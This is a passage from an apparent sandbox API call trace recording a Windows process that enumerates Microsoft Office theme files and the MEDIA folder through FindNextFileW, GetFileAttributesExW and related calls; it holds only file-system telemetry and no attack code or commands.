ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xef5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Equity.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4741800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x4741800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe16, dwReserved0=0x0, dwReserved1=0x0, cFileName="Essential.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1655bb00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1655bb00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Executive.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2927500, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2927500, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xdb5, dwReserved0=0x0, dwReserved1=0x0, cFileName="Flow.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf1614800, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf1614800, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xed4, dwReserved0=0x0, dwReserved1=0x0, cFileName="Foundry.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a54500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5a54500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe59, dwReserved0=0x0, dwReserved1=0x0, cFileName="Grid.xml", cAlternateFileName="")) returned 1 [0068.981] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d67200, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d67200, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xf09, dwReserved0=0x0, dwReserved1=0x0, cFileName="Hardcover.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1786e800, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1786e800, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe2a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Horizon.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf3c3a200, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf3c3a200, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Median.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4f4cf00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4f4cf00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Metro.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf625fc00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf625fc00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe05, dwReserved0=0x0, dwReserved1=0x0, cFileName="Module.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18b81500, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x18b81500, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe39, dwReserved0=0x0, dwReserved1=0x0, cFileName="Newsprint.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe15, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office 2.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe01, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic 2.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xefe70d00, ftCreationTime.dwHighDateTime=0x1c9b824, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xefe70d00, ftLastWriteTime.dwHighDateTime=0x1c9b824, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Office Classic.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7572900, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf7572900, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe1d, dwReserved0=0x0, dwReserved1=0x0, cFileName="Opulent.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf8885600, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf8885600, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="Oriel.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf9b98300, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528a9ed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf9b98300, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xeed, dwReserved0=0x0, dwReserved1=0x0, cFileName="Origin.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaeab000, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfaeab000, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe2c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Paper.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8079f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8079f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe0f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Perspective.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x938cc00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x938cc00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe7f, dwReserved0=0x0, dwReserved1=0x0, cFileName="Pushpin.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1b1a6f00, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x1b1a6f00, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xe18, dwReserved0=0x0, dwReserved1=0x0, cFileName="Slipstream.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfc1bdd00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x618565f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfc1bdd00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xee9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Solstice.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe13, dwReserved0=0x0, dwReserved1=0x0, cFileName="Technic.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa69f900, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x6187c750, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa69f900, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xeff, dwReserved0=0x0, dwReserved1=0x0, cFileName="Thatch.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfd4d0a00, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfd4d0a00, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe20, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfe7e3700, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xfe7e3700, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe19, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xffaf6400, ftCreationTime.dwHighDateTime=0x1cac1e0, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xffaf6400, ftLastWriteTime.dwHighDateTime=0x1cac1e0, nFileSizeHigh=0x0, nFileSizeLow=0xe14, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 1 [0068.982] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb9b2600, ftCreationTime.dwHighDateTime=0x1cac1e1, ftLastAccessTime.dwLowDateTime=0x528d0030, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb9b2600, ftLastWriteTime.dwHighDateTime=0x1cac1e1, nFileSizeHigh=0x0, nFileSizeLow=0xdf9, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.xml", cAlternateFileName="")) returned 0 [0068.982] GetLastError () returned 0x12 [0068.982] FindClose (in: hFindFile=0x60d160 | out: hFindFile=0x60d160) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x334aca00, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5c88fa0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x334aca00, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2a23c, dwReserved0=0x0, dwReserved1=0x0, cFileName="Trek.thmx", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x36de5100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x36de5100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0xfc70, dwReserved0=0x0, dwReserved1=0x0, cFileName="Urban.thmx", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3a71d800, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5caf100, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x3a71d800, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x12600, dwReserved0=0x0, dwReserved1=0x0, cFileName="Verve.thmx", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5d03f100, ftCreationTime.dwHighDateTime=0x1cbded9, ftLastAccessTime.dwLowDateTime=0xe5cd5260, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0x5d03f100, ftLastWriteTime.dwHighDateTime=0x1cbded9, nFileSizeHigh=0x0, nFileSizeLow=0x2c681, dwReserved0=0x0, dwReserved1=0x0, cFileName="Waveform.thmx", cAlternateFileName="")) returned 0 [0068.983] GetLastError () returned 0x12 [0068.983] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x25131470, ftCreationTime.dwHighDateTime=0x1d598ce, ftLastAccessTime.dwLowDateTime=0x6309b1d0, ftLastAccessTime.dwHighDateTime=0x1d57f3d, ftLastWriteTime.dwLowDateTime=0x6309b1d0, ftLastWriteTime.dwHighDateTime=0x1d57f3d, nFileSizeHigh=0x0, nFileSizeLow=0x13200, dwReserved0=0x0, dwReserved1=0x0, cFileName="fpos.exe", cAlternateFileName="")) returned 1 [0068.983] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174f4c4 | out: lpFindFileData=0x174f4c4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="MEDIA", cAlternateFileName="")) returned 1 [0068.983] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0068.983] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), fInfoLevelId=0x0, lpFileInformation=0x174f3c0 | out: lpFileInformation=0x174f3c0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0068.984] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA" (normalized: "c:\\program files\\microsoft office\\media"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0xec [0068.984] SetFileTime (hFile=0xec, lpCreationTime=0x0, lpLastAccessTime=0x174f404, lpLastWriteTime=0x174f404) returned 0 [0068.984] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0x103e478 [0068.985] DeviceIoControl (in: hDevice=0xec, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0x103e478, nOutBufferSize=0x4000, lpBytesReturned=0x174f45c, lpOverlapped=0x0 | out: lpOutBuffer=0x103e478, lpBytesReturned=0x174f45c, lpOverlapped=0x0) returned 0 [0068.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0x103e478) returned 1 [0068.985] NtClose (Handle=0xec) returned 0x0 [0068.985] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfd5500) returned 1 [0068.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5500 [0068.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5610 [0068.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfd5698 [0068.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d1a0 [0068.985] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x60d1a0, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeef015d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x596c1850, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x596c1850, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="OFFICE14", cAlternateFileName="")) returned 0 [0068.985] GetLastError () returned 0x12 [0068.985] FindFirstFileExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\*", fInfoLevelId=0x1, lpFindFileData=0x174f20c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174f20c) returned 0x60d160 [0068.985] FindClose (in: hFindFile=0x60d1a0 | out: hFindFile=0x60d1a0) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xeef015d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xeef015d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.985] FindNextFileW (in: hFindFile=0x60d160, lpFindFileData=0x174f20c | out: lpFindFileData=0x174f20c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeec79e70, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xbd6dc020, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbd6dc020, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xf70000, dwReserved1=0x0, cFileName="CAGCAT10", cAlternateFileName="")) returned 1 [0068.985] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0x1029650 [0068.985] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\Microsoft Office\\MEDIA\\CAGCAT10" (normalized: 